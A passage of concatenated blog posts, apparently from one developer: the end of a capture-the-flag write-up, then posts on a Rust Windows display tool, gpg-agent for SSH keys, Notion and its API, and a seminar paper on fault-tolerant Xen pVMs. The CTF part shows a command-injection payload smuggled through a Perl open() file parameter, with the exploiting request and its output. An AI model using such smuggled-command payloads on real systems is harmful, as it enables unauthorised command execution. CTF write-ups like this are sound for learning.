
We still need to make sure that the response contains four characters that contain our search term. This is easy: We just echo a string, which we then search for: echo owned: $(ls).

Now to execute it in the open() command we need to wrap it in some Perl syntax: ; echo owned: $(ls /) |. After encoding this with the JavaScript escape() function, we are ready to go! The get request looks like this:

GET https://aurora-web.h4ck.ctfcompetition.com/?file=%3B%20echo%20owned%3A%20%24%28ls%20/%29%20%7C&term=owned

Resulting in:

owned: bin boot dev etc flag home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var web-apps

Wait a minute! /flag is not typically found on a Linux file system! This flag file contains a URL that leads to the hacking challenge's website and marks the challenge as completed.

Conclusion

This was a very fun challenge! It's well-designed - with a lot of distractions and hints. But this is only the first episode of five, containing three challenges each. You can read my write-up for the next episode over here.

Episode Overview:

• Episode 0
• Episode 1
• Episode 2
• Episode 3
• Episode 4
• Episode 5

There are great tools like MultiMonitorTool that already provide this functionality, but they come with a lot of UI and utilities, that I don't need - I want a lightweight tool that I can include in my automated Windows setup.

I did some research and found various blog articles and forum entries about how to change the primary display. They (e.g. here and here) suggest to use the ChangeDisplaySettingsEx call to the user API (winuser.h).

After some testing, I just couldn't get it to work even though it's supposed to be one simple call to the winuser library. So I used API Monitor to see what API calls MultiMonitorTool makes. There are more than 50 calls to the winuser APIs alone. But I eventually found the ChangeDisplaySettingsEx call and tried to replicate its content exactly (even byte by byte) - still no success.

After some more research and having a look at random source code snippets from GitHub, I finally found out how to change the primary monitor properly - and it's way more complicated than I could have ever imagined.

So before diving into the details - here it is: displays - a lightweight CLI tool and Rust library to change display properties like primary display, resolution and orientation. I developed the application in Rust using the winsafe crate, which basically creates a safe wrapper around the Windows API. However, I had to contribute various changes to that crate in order to implement the following API calls.

I am by no means an expert with regard to the Windows API. There are probably other calls that work as well and simplify some things. But I wanted to keep the tool generic so that it can be used to change the orientation, resolution, primary etc of any amount of monitors connected. So let's get started:

First, you have to find out the identifier of the display you want to make the new primary. In order to do that, you have to call EnumDisplayDevices multiple times with an increasing counter as a parameter in a loop. Stop looping as soon as a call returns an error.

After that, you can call EnumDisplaySettings (or the Ex version) by passing the identifier to retrieve the so-called DEVMODE structure. This struct contains information about the display, like position, which is required for the following calls.

Now we are finally ready to call ChangeDisplaySettingsEx, right? Turns out you need to call this for every display that is connected and active (I will elaborate on the reason for this later), which means you also gotta call EnumDisplaySettings for every monitor. Finally, we can execute the program... And nothing happens.

Turns out you have to call ChangeDisplaySettingsEx one more time while passing NULL to every parameter, in order to actually "commit" the changes (the monitor will flicker and apply the new properties afterwards).

MultiMonitorTool does it the same way (other than it issues some additional calls, that are not important for this) - so did we solve the problem? Nope, still doesn't work 😐. After comparing the parameters of other's tools' calls as well as mine', I noticed that the position properties of the ChangeDisplaySettingsEx call are different.

And here comes the weird part: The values change depending on which monitor I set as primary. So there is clearly some magic happening, that calculates new position values. This seems to be the difference between the other's approach and my broken one.

Finally, I found a hint in some Chinese codebase that hinted at the virtual screen model that Windows uses. Turns out that the primary display also defines the origin of the coordinate system that the other monitors use when specifying the position. So instead of just passing the position from the EnumDisplaySettings call, we need to recalculate it accordingly for each active display. To figure that out took me waaay to long - I wish Microsoft had some information about this in their documentation.

Implementing this is not hard: The new primary display always is located at position (0, 0). The other ones should be moved by the negative position of the old primary display to align them to the new origin:

new_display_position = -old_primary_position + old_display_position;

And voila - it works just fine now.

🙃

Feel free to check out the code on GitHub or get the tool from crates.io or Chocolatey.

Edit: Apparently there is a new API that simplifies this process (docs)

I always just used some zsh ssh-agent plugin or had eval ssh-agent in my .bashrc, totally unaware of the fact that this is a very suboptimal solution...

SSH keys

When connecting to a server using SSH or pushing your changes to a git server, you have to authenticate yourself using an SSH key. Git also allows HTTP authentication using a password, but you definitely should use SSH. SSH keys also should have a non-empty passphrase as an additional layer of security. If somebody steals your key (the file on your hard drive), they won't be able to use it without your passphrase.

You also might want to digitally sign messages and git commits with GPG, which also requires a password-protected key. Now, when actually signing a commit or connecting to a remote server using SSH, you have to enter the passphrase to your key. This is annoying if you have a long secure passphrase and use that very often.

ssh-agent

ssh-agent solves this problem: It creates a Linux socket that offers your ssh client access to your keys. It is started with the command ssh-agent, which returns a path to the socket:After adding this path to the environment variables you can use ssh-add <path of your ssh key> to add your SSH key to the "cache" (you can list your added SSL keys with ssh-add -l).

Most instructions online, will tell you to add something like eval "$(ssh-agent -s)" to your .bashrc file or similar. You might have already noticed that executing ssh-agent will give you a new socket every time you execute that command. Meaning with every shell session you now start, you will spawn a new ssh-agent:You will also have to enter your passphrase once per session. There has to be a better way, right? Right?!

As ysh7 pointed out, it is also possible to set a custom socket path using the flag -a bind_address and then set the environment variable SSH_AUTH_SOCK to that same value. ssh-agent can then be started as systemd service as described here.

keychain, ssh-find-agent, zsh ssh-agent, bash scripts...

Jon Cairns wrote a similar article about this problem and presented a solution: A script that tries to find and reuse existing ssh-agents. There are multiple scripts with similar approaches all written in bash: ssh_find_agent, zsh-ssh-agent, and the most popular one: keychain. (And later, I also discovered envoy). But being bash scripts, they are hard to read, not really fast, and make debugging a hell. I used keychain successfully until I encountered a problem that I wasn't able to understand. Also, those tools depend heavily on ssh-agent and ssh-add instead of using the socket directly.

I was ready to implement something similar to keychain in Rust

I then actually sat down and implemented a prototype of my SSH/GPG agent manager in Rust, which forced me to really understand the tooling around SSH keys. But there was a problem I could not solve: Every time I restarted my environment (in my case WSL), I had to reenter all my passphrases to all the keys even if I wouldn't need them.

gpg-agent to the rescue

After some reading through the confusing docs of different (outdated) versions of gpg-agent (yes, not ssh-agent), I finally found a working solution: Apparently gpg-agent uses its own socket and works way smarter than ssh-agent. Luckily gpg-agent has support to also manage your ssh keys (and, of course, also manages your gpg keys)!

I don't fully understand the design decision behind ssh-agent, which prints fairly essential information out as executable code and doesn't update the current shell with the required environment variables; that just seems a bit bizarre to me. - Jon Cairns

So how do we use it, then?First of all, you need GnuPG, which installs the necessary tools. Sadly there is still no all-in-one version, but GpuPG comes with everything we need.

Now put the line enable-ssh-support into your ~/.gnupg/gpgagent.conf (create it, if it does not exist). You can also specify a timeout by adding the following lines:

## 1-day timeoutdefault-cache-ttl 86400max-cache-ttl 86400

Then add the following lines to your .bashrc, .zshrc or whatever you are using:

export GPG_TTY=$(tty)gpg-connect-agent --quiet updatestartuptty /bye >/dev/nullexport SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)

GnuPG uses pinentry, which allows it to create the console UI asking for your password. This dialog system requires the GPG_TTY environment variable to be pointing at your current tty. The next line starting with gpg-connect-agent starts the gpg-agent as a demon in the background if it is not already running and tells it to use your current terminal for those UI dialogues. Since it always outputs "OK", even when we specify --quiet, we forward the output into /dev/null to hide it. Finally, we use gpgconf to tell SSH where the socket of gpg-agent is located and export it to the environment (so now we use a socket managed by gpg-agent and not ssh-agent anymore).

If you use multiple terminal sessions at once for a longer time, it can happen to you that the prompt asking for your ssh password appears on the wrong terminal session. This can be fixed by adding the following line to the ssh config:

Match host * exec "gpg-connect-agent UPDATESTARTUPTTY /bye

Conclusion

This is exactly what I have been looking for. I wish I had explored gpg-agent sooner. Now my shell asks me only once when using specific keys for the first time. The dialogue looks like this:

The only downside I see with this approach is that we have to call two commands (gpg-connect-agent and gpgconf) every time we launch a new shell. But this is fine, as they are really fast:

gpg-connect-agent --quiet updatestartuptty /bye > /dev/null  0.00s user 0.00s system 60% cpu 0.004 totalgpgconf --list-dirs agent-ssh-socket  0.00s user 0.00s system 89% cpu 0.001 total

If you want to have a look at my dotfiles, feel free to do so. Thanks for reading!

Pages

One click is needed to create a new page. With another one, you can reorder that page in the hierarchy to any place you want. There is no limit on how deep the hierarchy can get as its the case with OneNote. If you share a workspace with multiple people, others can edit the page and comment on what you wrote. Each page can have an icon which makes the hierarchy faster to navigate since you can quickly recognize your pages. Pages are limited in their width but can contain nearly unlimited lines of content without a page break.

Commands

A page consists of blocks that can contain text. However, using / you are able to type commands that insert blocks with special functionality (no worries, this can also be done by clicking). You can insert databases (more on that later), images, different text styles, to-do items, embed webpages, and functionality of third-party integrations.

Databases

If you already heard about Notion, the chance is pretty high that you heard about their genius databases. Databases are pages that embed sub-pages with different properties into a table that can be sorted, filtered, grouped, and searched. You can create different views of a database to visualize it as a calendar or Kanban board and even create different pages that show the same database but with different settings. To a certain extent, it is also possible to write formulas to implement simple business logic to create new fields from existing ones that can influence how the table is displayed.

Database entries are just pages that can contain extra metadata (the database properties/fields). Therefore these pages contained in databases can be moved to different databases or even other pages (so that they become child pages instead of database entries).

And why is this feature so useful? Well, think about it as interactive tables. You can create pages (e.g., to represent tasks) that store some kind of metadata (e.g., a due date) with every page in that database and visualize it conveniently.

For example, you could use databases to create Kanban boards that contain Notion pages. You can then also link those Kanban items from every Notion page.

These are just the basics that Notion databases can do, and I could write a whole other article just on these databases, so lets stop here and follow me for more on that topic.

Links everywhere

You can link anything that you create in Notion. Dates, persons, other pages, and even single blocks (which can be used to link to a single heading or chapter). When you link to a date, you can even set a reminder which will send you a notification on that date. Other persons will get a notification, too, when you link them.

Links to other pages in Notion are bidirectional. When you link a page, you will see this link as backlink on that page.

LooknFeel

Notion just feels excellent. It is really fun to use and encourages me to write. Notebooks can be made more interesting and fun to read by adding emoticons and different styles. In my experience Notion found the perfect way to allow customization in order to make the page more interesting with such elements but in a way that does not distract.

Embeds & Integrations

Notion recently bought Automate.io but also offers integrations with a lot of other different services. For example, you can embed Google Docs files, Miro boards, Google Maps, and PDF files. There are also lots of third-party integrations made using the Notion API indify.io. These provide URLs that can be embedded into a Notion page and can display widgets like a calendar or weather widget.

Developer Interface

Notion offers an interface that software developers can use to interact with Notion using code. This API is still in its early stages, but you can already use it to automate everything you possibly need. I wrote an article about just the Notion API before, so feel free to check it out here: Exploring the new Notion API.

Community

Notion has a large community that can help you out if you are stuck. Just look for Notion on platforms like Facebook. While there are official templates provided by Notion, you will find lots more different templates made by the community in those Groups. While the templates provided by Notion are rather generic and simple, the community will offer whole systems, like booking systems for hotels or management systems for small clubs. A lot of this content is free; some even sell their Notion templates for a few bucks. So if you need a template for a niche problem, you might find a solution there. Or, if you have fun creating Notion systems, you might be able to make a few bucks with that.

Conclusion

I really recommend you to check out Notion! Just try out a few things the entry barrier is really low.

Structure

In order to understand the API, first, one has to understand how the content in Notion is organized: The basic building blocks are pages and databases. Both can have multiple pages and databases as children. Pages can also contain so-called blocks, which can be of different types and contain the actual content (pages are blocks, too - but more on that later). Databases and pages are very similar but differ not only in how they are presented to the user (different database views vs sub-pages). Their data is also structured differently: Pages only have a title and metadata (like creation date, author) as properties. Databases define properties, which each (database-)child (aka. item/entry that is contained in that database) will then inherit (lets call them entries) those properties. This allows them to be displayed in different views that filter and structure by property. The database pages cant have children themselves. There is also a special page type: The workspace (which is the root node of the page-tree) only contains the title and (page/database) children.

Exemplary workspace structure

The API documentation can be found here. Notion provides a JavaScript library, which implements the full API in TypeScript.

Authentication

There are currently two ways to authenticate with the Notion API, which are documented here. Internal integrations are just for one workspace and are great for prototyping and personal tools. You register the application, assign a workspace where you have admin access level and retrieve the token, which you use for every request as bearer token:

GET /v1/pages/b55c9c91-384d-452b-81db-d1ef79372b75 HTTP/1.1  Authorization: Bearer {MY_NOTION_TOKEN}

To give other users access to your application, you have to implement proper OAuth 2.0 authentication. This works by giving your users an URL, which forwards them to Notion, where they agree to give your application certain permissions. After that, Notion will forward the user back to your API (or redirect_uri). For that, you compose a URL where you append your URL-escaped applications client_id and redirect_uri s well as response_type=code, like this:

https://api.notion.com/v1/oauth/authorize?client_id=&redirect_uri=http%3A%2F%2Flocalhost%2Fauth&response_type=code

Note: You can use this tool to encode your URLs properly.

The redirect response will then contain a code, which can be exchanged using a POST request to /v1/oauth/token and your applications client id and secret for a token, as explained here. With that token, you then have access to the users notion pages.

Accessing the API

The rest of the API is documented here (not sure why the authentication part is missing), but there are still some gotchas I wanna point out. The whole API is versioned and requires the user to provide the targeted version number in the header: Notion-Version: 20210816 .

To list all pages in the users workspace, you can use the /v1/search route without an actual query. The pagination implementation is horrible: For example, they wont tell you how many entries (or pagination pages) your query results in. You only get a cursor, which you can use to request the next couple of results after your last request.

Each page is also a block. You can just use the page id in the block API. To get all blocks of a page, you send a GET request to /v1/blocks/*<page*_id>/children. The response will also contain the content of those blocks. But keep a reference to the parent page because the response wont contain that.

Rate Limits

According to the documentation three requests per second are allowed. They also state that some bursts beyond that limit are allowed. From my experience, they are really generous with those. Tho they explicitly state that the rate limits will change in the future. They recommend implementing queues to send requests as long as no HTTP 429 is received. But I think it would be more efficient to just send three requests every second and never encounter that error in the first place.

Conclusion

Overall the Notion API is designed very well. Upon further inspection, some rough edges become apparent. But please keep in mind that the API is still in Beta. Authentication is pretty much standard. I really like that the API is fully versioned (even though there should be a default version when not specifying the header). The object structure is confusing at first but makes sense (maybe it could be explained better) and keeps the API quite simple. However, O would really want a way to search for blocks and specific types of blocks (to directly get all mentions). Also, it would be nice if the search for pages could directly return the content of the page. The pagination really has to be improved.

If you want to know more about the Notion API, check out the docs. You wont regret diving into this API! Let me know about what you implemented to improve your Notion workflow!

Cloud Computing (CC) already plays a major role in providing services throughout the internet. Two hundred seventy billion US dollars were spent by companies worldwide in 2020 for cloud services [2] . The cloud provides users with access to computing resources of different kinds that can be deployed to data centers around the world. Only the demanded resources are billed, and resource requirements can be changed at any time. The National Institute of Standards and Technology (NIST) describes CC as [] a model for enabling convenient, on-demand network access to a shared pool of configurable computing resources (e.g., networks, servers, storage, applications, and services) that can be rapidly provisioned and released with minimal management effort or service provider interaction. [3].

More and more companies invest in the migration to the cloud because of the various advantages over conventional computing solutions. The benefits include, but are not limited to:

• Elasticity: Applications scale up or down dynamically to any workload
• Scalability: Complex infrastructure scales up without additional work
• Availability: Services are available at any time with little latency from around the world

Another very important principle is Fault Tolerance (FT), which describes the ability to continue operating without interruption when a fault occurs. Two common methods to handle all kinds of faults happening in the infrastructure and application are replication and redundancy: When applying the replication strategy, the state of an application is replicated to multiple machines. As soon as a replica becomes unavailable, requests are routed to a different machine with a working application instance. This technique can also be used to scale for different amounts of workload. Redundancy is a more traditional technique, which describes the concept of having backup systems that take over in case of a fault occurring.

While with the aforementioned strategies, FT can be achieved in cloud architectures, it is still desirable to minimize the probability of faults happening in the first place. When fewer faults occur, fewer backup or replication systems are needed since fewer systems can fail at the same time. Also, faults may still affect users with service interruptions or data loss. Therefore it is in particular interest to the customer to have his infrastructure running with as few faults as possible.

Faults can either occur in the application of the customer using the cloud services or in the cloud infrastructure, which is provided by the cloud vendor. While the customer is responsible for aspects like FT in his own applications, the cloud vendor is responsible for the infrastructure. In the Service Level Agreement (SLA), the cloud vendor commits to a specific availability of its services, including penalties in the case those commitments were not met. Since cloud service providers want to offer high availability metrics to protrude against the competition without running into the risk of paying penalties, they are motivated to optimize their infrastructure systems for FT.

Cloud resources can be allocated within minutes or even seconds because the hardware is already located and waiting to be claimed at some data center. CC resources are often provisioned on-demand as virtualized machines instead of dedicated hardware. This allows to automate the deployment process and make it more affordable since those resources are shared with other users.

Mvondo, Tchana, Lachaize, et al. describe a novel FT approach (the source code is available on www.github.com/r-vmm/R-VMM) to provide increased resilience for so-called pVMs (not to be confused with the concept of process Virtual Machines) and apply it to make the Xen platform more fault-tolerant. In a privileged Virtual Machine (pVM)-based architecture, the hypervisor (aka. Virtual Machine Monitor (VMM)) is split into two components: The bare-metal hypervisor and the pVM. A pVM is a virtual machine that has direct access to the hardware and takes over some of the functionality (like handling device drivers) of the hypervisor. The authors modify the Xen pVM to build a resilient version by working through the three design principles disaggregation, specialization and pro-activity [1]. The work by these authors is summarized and discussed in this paper.

The remainder of this paper is organized as follows. The next section, Section 2, gives an introduction to those so-called pVMs. Their workings and purpose will be explained. Following in Section 4, the four unikernels, their fault model, and implementation will be discussed. The benchmark results of Mvondo, Tchana, Lachaize, et al.s solution are presented and compared against others in Section 6. Similar approaches will be analyzed next, in Section 5. This paper concludes with a discussion from the authors perspective in Section 7, followed by the conclusion in Section 8.

2. Privileged Virtual Machines

A is a special guest Virtual Machine (VM) supporting the VMM in performing non-critical tasks. Popular hypervisors like Xen and VMware ESX use this concept to run external software (like Linux device drivers) in a less critical and less privileged environment [4]. This approach provides a separation between the code of the VMM and external software. Such a pVM (also called dom0, or Domain0) is often used to run device drivers for the physical hardware as well as serving as the administrative interface to the system [4]. The VMMs area of responsibility is then reduced to tasks like scheduling and memory management [4]. The other guest VMs (or domU) will then connect to the pVM instead of the hypervisor directly. Such an architecture is visualized in Figure 1.

Figure 1: The virtualization architecture when using the pVM approach. The pVM and guest VMs are virtualized by the VMM. Communication, to e.g. access the drivers, is done through the pVM (exemplary visualized by the arrows).

Because the size of the source code is greatly reduced and code containing potential faults is removed, software faults may occur less often by applying the pVM strategy. Also, less time is spent executing that code, which lowers the chance of being affected by a hardware fault. This outsourcing of tasks to the pVM entails that a fault is less likely to occur in the VMM.

While using this strategy to create a more robust VMM comes with many advantages, this also introduces the pVM as a new single point of failure. Since the pVM will run on a fully-fledged Operating System (OS), possibly with several external applications running in user space, the chance of a fault happening increases significantly. However, because of the already discussed advantages of a pVM, it should be easier to handle such fault in software running on an OS.

3. Xoar Project

Colp, Nanavati, Zhu, et al. split the monolithic pVM architecture of the Xen platform into nine different classes of least-privilege service VMs to make it more secure. This approach, called Xoar, uses a microkernel for each service. They achieved this while maintaining feature parity and with little performance overhead [5].

Microkernels use a minimal kernel that provides an interface for a larger part of the kernel that implements the full functionality needed to run applications. In contrast to the monolithic architecture (used by Linux), the kernel space is rather small, which increases security and stability.

Xoar was designed with three goals in mind [5]:

1. Reduce privilege: A service only has access to the most minimal interfaces it requires to function. This limits the attack surface.
2. Reduce sharing: Shared resources should only be used when necessary and be made explicit. This allows for policies and proper auditing.
3. Reduce staleness: Services should only run while they actually perform a task. This limits attacks to the lifetime of a task.

The decomposition of the pVM allows for new measures that follow these goals to increase security and stability. For example, there is a service VM that handles the boot process of the physical machine. This isolates the complex boot process and the required privileges. This VM is destroyed after the boot process is finalized. They also implement microkernels to record secure audit logs of all the configuration activities. Additionally, they implement a microreboot strategy to lower the temporal attack surface. This requires potential attackers to at least attack two isolated components in order to compromise the service [5].

This approach of splitting the pVM into smaller isolated VMs is also used in the work from Mvondo, Tchana, Lachaize, et al. [1] that is presented in the following section. Their work is largely based on the Xoar project and their disaggregation of the pVM.

4 Phoenix pVM-based VMM (PpVMM)

The FT strategy presented by Mvondo, Tchana, Lachaize, et al. is called Phoenix pVM-based VMM (PpVMM) and builds on three core principles [1]:

1. Disaggregation: Each pVM service is launched inside its own isolated unikernel.
2. Specialization: Each unikernel uses a strategy to handle faults that is tailored to the service run by that unikernel.
3. Proactivity: Each service implements an active feedback loop that detects and automatically repairs faults.

A unikernel is a small isolated system that runs a process in a single address space environment with a minimal set of preselected libraries that are compiled together with the application to a single fixed-purpose image. This image, which is based on a unikernel OS runs directly on the hypervisor, similar to a VM. Mvondo, Tchana,Lachaize, et al. disaggregate the functionality of the Xen pVM into four independent unikernel VMs: net_uk, disk_uk, XenStore_uk, and tool_uk [1].

The overall architecture of the PpVMM approach. The global feedback loop runs in the UKmonitor unikernel and monitors the the four unikernels and their heartbeats (red arrows) of the pVM or dom0 (also known as Domain Zero). When a VM running in domU (the unprivileged domains) then wants to connect to the Network Interface Controller (NIC) it connects to the driver running on the pVM (blue arrow).

net_uk implements the unikernel that hosts both the real and para-virtualized network drivers. Figure 2 shows the examplary path of a request from the guest OS, through net_uk to the NIC. disk_uk is similar to net_uk and provides the storage device drivers. Because of its similarity, the authors of the original paper choose not to discuss it in their work. XenStore_uk is the unikernel responsible for running XenStore, which is a database for status and configuration data shared between the VMM and guest VMs. tool_uk provides VM administration tools. Those unikernels will be discussed in detail in the next sections.

Figure 2: The overall architecture of the PpVMM approach. The global feedback loop runs in the UKmonitor unikernel and monitors the the four unikernels and their heartbeats (red arrows) of the pVM or dom0 (also known as Domain Zero). When a VM running in domU (the unprivileged domains) then wants to connect to the network interface controller (NIC) it connects to the driver running on the pVM (blue arrow).

Each unikernel uses a feedback loop that uses probes to detect faults and actuators to repair those faults. Some unikernels are made up of several components, which also use feedback loops themselves [1]. Those feedback loops are implemented outside the component to make them independent from faults occurring inside the component.

The feedback loop of each component is coordinated by a global feedback loop (running in the UKmonitor unikernel). Since the failure of one component could affect others (that depend on the failing component) and lead to concurrent failures in other components, a certain repair order is required. This repair order is embedded in the VMM as a graph and represents the dependencies between the different unikernels. Using this repair order, the source of the concurrent failure can be detected and be repaired if all services that the unikernel depend on are healthy again. The work by Mvondo, Tchana, Lachaize, et al. assumes that the hypervisor itself will not fault (because of state-of-the-art FT countermeasures). Therefore they implement the global feedback loop inside the VMM as seen in Figure 2 [1].

The pVM is connected to a data center management system, like OpenStack Nova because some repairs cannot be done locally and require actions on a different system [1]. For example, in the case of a server running out of memory, a new scheduled VM might have to be started on a different physical server.

Implementing this pVM strategy using disaggregated unikernels requires modifying the scheduler in order to optimize performance: Each unikernel VM is marked so that they can be differentiated from the guest VMs. This marking ensures that those VMs are frequently scheduled and requires them to react within five milliseconds to heartbeat messages. The heartbeat might be skipped, though, if the unikernel recently issued an implicit heartbeat by exchanging other messages with the hypervisor. This prevents the CPU from switching the context to a different unikernel, just for issuing a heartbeat message while it is obviously healthy [1].

Table 1: An overview over the pVM components that are disaggregated into their own unikernels together with the symtopms of faults that may occure during the execution.

In the following section, each unikernel implementation is explained. First, the function of the application running in the unikernel and its fault model will be presented. Right after, the FT solution will be discussed in detail. An overview of the unikernels and their fault symptoms can be seen in Table 1.

4.1. NIC Driver (net_uk)

In the Xen virtualization, the NIC driver resides in the pVM and is exposed using the so-called NetBack component. It enables communication with the NetFront, which acts as NIC driver in the guest OS in domU.

Figure 3: The network driver components when using the pVM architecture. The communication path is shown by the black arrows.

The architecture of the network driver in the Xen platform can be seen in Figure 3. The NetFront is the network driver in the guest OS and communicates with the NetBack. The NetBack uses the NIC driver in the pVM to talk with the physical NIC.

The net_uk unikernel embeds the NIC driver as well as the NetBack as. This unikernel forwards requests between the guest VMs and the VMM.

A fault in those components or the unikernel itself can lead to unresponsiveness, which has to be mitigated. The FT solution can detect failures at two levels: Fine-grained failures like NetBack and NIC failures, as well as coarse-grained failures like the whole unikernel failing. Mvondo, Tchana, Lachaize, et al. [1] assumes that such faults will not corrupt the low-level data structures of the kernel [1].

Faults in the NIC driver are handled by an approach similar to the shadow driver solution by Swift, Annamalai, Bershad, et al. [6]. The NetBack is modified to buffer requests between the NetBack and NetFront (running in the guest VM), in case the NIC driver becomes unresponsive. Such unresponsiveness of the NIC driver is determined by the hypervisor by recording the timestamps of the messages and detecting a timeout. This triggers the recovery process of the driver. The hypervisor also monitors the shared ring buffer index of the NetBack and NetFront. Should the index of the private buffer of the NetBack differ from the shared one, a fault it the NetBack is to be assumed and the NetBack reloaded.

Inspired by the work of Jo, Kim, Jang, et al. [7], the entire unikernel failing is detected by monitoring all buffers and calculating their lag. Since this only works when actual communication messages are exchanged and the buffer is used, a heartbeat mechanism, controlled by the VMM is introduced [1].

4.2. Metadata Storage (XenStore_uk)

XenStore_uk runs the metadata service XenStore, which is a database for status and configuration data.

Faults, whose consequence is unavailability, can also happen in the XenStore_uk unikernel. However, XenStore_uk, being the only unikernel that is stateful, is also extradited to silent data corruptions that may be caused by bit flips, defective hardware, or malicious VMs. [1]

The specialized solution to make this unikernel fault-tolerant involves state machine replication and sanity checks. To prevent unavailability, a coordinator unikernel is introduced that manages three replicas of the XenStore_uk unikernel. The coordinator itself is also replicated. The XenStore client library is modified so that requests go to the master coordinator first. It then forwards read requests to the master XenStore_uk unikernel, which is chosen by the master coordinator. Write requests are forwarded to all XenStore_uk replicas. Heartbeats are used to detect the unavailability of a replica; in such a case, the replica is pro-actively replaced by the coordinator. Should the active master replica become unavailable, a new one is chosen by the coordinator. The master coordinator sends heartbeat messages to the VMM in order to detect a crash of both the master coordinator and its replicas simultaneously [1].

To spare net_uk from the communication path between the coordinator and other components, Interrupt Requests (IRQs) and shared memory are used instead of HTTP requests [1]. This resolves the bidirectional dependency between XenStore_uk and net_uk, which makes handling cascading failures more easily.

To handle data corruption faults, a sanity check, running in each XenStore_uk replica, computes a hash of each write message and forwards it to the coordinator. The master coordinator then checks if the hash from all replicas is the same. If that is the case, it is forwarded and stored to each coordinator replica. This hash marks the just written state as the last known uncorrupted state.

When a read message is sanity checked, the master XenStore replica calculates its hash and compares it with the last uncorrupted state from the master coordinator. If they are not equal, a recovery procedure is initialized to determine the source of corruption. If the wrong hash was submitted by the coordinator, its hash is replaced by the correct value. If it stems from the XenStore_uk master replica, the recovery process is triggered, and it is replaced by a healthy replica. This strategy is based on the assumption that for each stored piece of information, at most, one copy gets corrupted [1].

With this local FT strategy, the VMM only has to intervene when all XenStore or coordinator components fail at the same time. This case will be detected by the hypervisor thanks to the heartbeat mechanism. However, restarting the crashed components by following the above-mentioned dependency graph without relying on disk_uk will not recover the state. Therefore, additional copies of the XenStore database and uncorrupted state hashes are stored by the VMM in memory. Each replica has to update its own backup copy [1].

4.3. Management Toolstack (tool_uk)

The tool_uk hosts the Xen Toolstack, which provides a life-cycle administration toolstack. It provides startup, shutdown, migration, checkpointing, and dynamic resource adjustment functionality. The Xen Toolstack is the only component that does not run a task the whole time. Instead, it executes operations when a VM operation was requested.

Faults during those operations are already handled by the vanilla toolstack implementation of the data center management system. Nevertheless, a fault during live migrations, while the state of the suspended VM is transferred to the destination host, will result in corrupted VM on the target machine and a suspended one on the sender machine [1].

A fault is detected in a similar way to a heartbeat mechanism. Should the sender machine not receive a acknowledge message within a specific timeframe, the migrations are to be considered a failure. The responsiveness of the entire unikernel is detected using a regular heartbeat mechanism, which restarts tool_uk in such a case. Any case leaves the VM on the target machine in a corrupted state. To recover from these failures, the corrupted VM (and its state) is deleted, and the original VM on the seder machine is set to resume its normal operation. The migration can then be re-executed [1].

The unikernel is also set to use a different role in Xen, which limits the actual privileges of the unikernel.

5. Related Work

While there are many publications on the topic of FT in cloud-based applications, there is not as much work in the field of making the hypervisor more fault-tolerant. Nevertheless, the PpVMM approach is not the first one to disaggregate the pVM. The Xoar project [5], which was presented in Section 3 developed the groundwork for the PpVMM approach [1].

The work of Jo, Kim, Jang, et al. and their TFD-Xen [7] project inspired the PpVMM solution, too [1]. The authors focused on the reliability of the network drivers inside the pVM [7]. Their approach is fast to recover from faults since it uses physical backup NICs. However, this also results in resource waste and additional costs since further hardware is required. Their solution to detect faults by monitoring the shared ring buffers used by all NetBacks and NetFronts is used in the net_uk unikernel as presented in Section 4.0.1.

A quite different approach to detecting faults is shown in Xentry: Hypervisor-Level Soft Error Detection [8]. The author's Xu, Chiang, and Huang describe how they detect faults using a machine learning approach and a runtime detection technique in the Xen hypervisor. Instead of monitoring heartbeats or buffers, their runtime detection system utilizes fatal hardware exceptions and runtime software assertions to detect system corruptions. To detect incorrect control flow, Chiang, and Huang use a Decision Tree machine learning algorithm. They report a fault detection rate of near 99% with a low-performance overhead.[8]

6. Evaluation

Mvondo, Tchana, Lachaize, et al. performed an extensive evaluation of their FT solution. They compared their modifications (categorized into corse-grained and fine-grained solutions) with the vanilla Xen hypervisor, which provides little FT against pVM failures. It is also compared to other FT solutions: Xoar [5] and TFD-Xen [7]. The latter only handles net_uk failures [1].

The different unikernels introduce some overhead to the system. Each unikernel instance uses about 500MB of memory. While running the system without any faults occurring, the PpVMM architecture is about 13% slower than the vanilla Xen implementation for I/O-intensive applications [1].

First, the robustness and performance of the different NIC driver and NetBack FT solutions are discussed: Vanilla Xen is not able to complete in case of a failure in those components. The fine-grained solution PpVMM solution is up to 3.6 times faster for detection and 1.4 times faster for repair times, compared to coarse-grained approaches (like the disaggregated pVM or TFD-Xen). However, TFD-Xen is able to recover faster than this solution but also requires physical backup NICs, which results in resource waste. The shadow driver approach also prevents packet losses by buffering failed packages. Such losses may lead to broken TCP sessions in the other solutions. While providing their robustness approaches, TFD-Xen has the most throughput, followed by the fine-grained PpVMM solution. The coarse-grained PpVMM approach performs worse, and Xoar is least efficient. Those numbers can be seen in Table 2, which shows the duration of the different FT approaches took to detect and recover from a NIC driver fault. With regards to the overhead, the pVM solution, as well as TFD-Xen, introduce significant overhead in latencies due to the periodic communication with the VMM [1].

Table 2: Benchmark results by Mvondo, Tchana, Lachaize, et al. to evaluate the robustness of the different FT solutions. A NIC driver fault was injected while executing a benchmark. The detection time (in milliseconds), recovery time (in seconds) and lost packets were recorded and listed in this table. The fastest approach to detect a fault (in 27.27 milliseconds) and recover without loosing any packets, was the fine-grained FT solution by . The quickstest recovery with only 0.8 seconds, was achieved by the Xoar project . Fault Detection Time (ms) Fault Recovery Time (s) Lost Packets Fine-grained FT 27.27 4.7 0 Corase-grained FT 98.2 6.9 425,866 TFD-Xen 102.1 0.8 2379 Xoar 52,000 6.9 1,870,921

Injecting a fault into the XenStore component during VM creation fails with the vanilla Xen and Xoar approach. In contrast, the disaggregated pVM solution completes this operation successfully and takes less time to detect crashes and data corruption. However, this solution introduces an overhead of about 20% more time because of the synchronization between the XenStore replicas. Xoar, on the other hand, not only takes longer to detect failures but also introduces an increased overhead [1].

The tool_uk unikernel introduces no overhead when it is not used, and no failure occurs. In case a failure happens during the VM migration process, vanilla Xen and Xoar both stop the migration, but the original VM, as well as the replica or new VM, keep running. This results in an inconsistent state that wastes resources because both VMs keep running [1].

Mvondo, Tchana, Lachaize, et al. also benchmarked the case when all components crash at the same time: While the PpVMM approach restores all components in about 15 seconds with a downtime of 8 seconds, vanilla Xen and TFD-Xen are not able to. Xoar also handles such failure, but with a higher overhead [1].

The scheduling optimizations, mentioned in Section 4 significantly improved the performance: On average, crashes are detected 5% faster, and the usage of implicit heartbeats decreased the CPU time by 13% [1].

7. Discussion

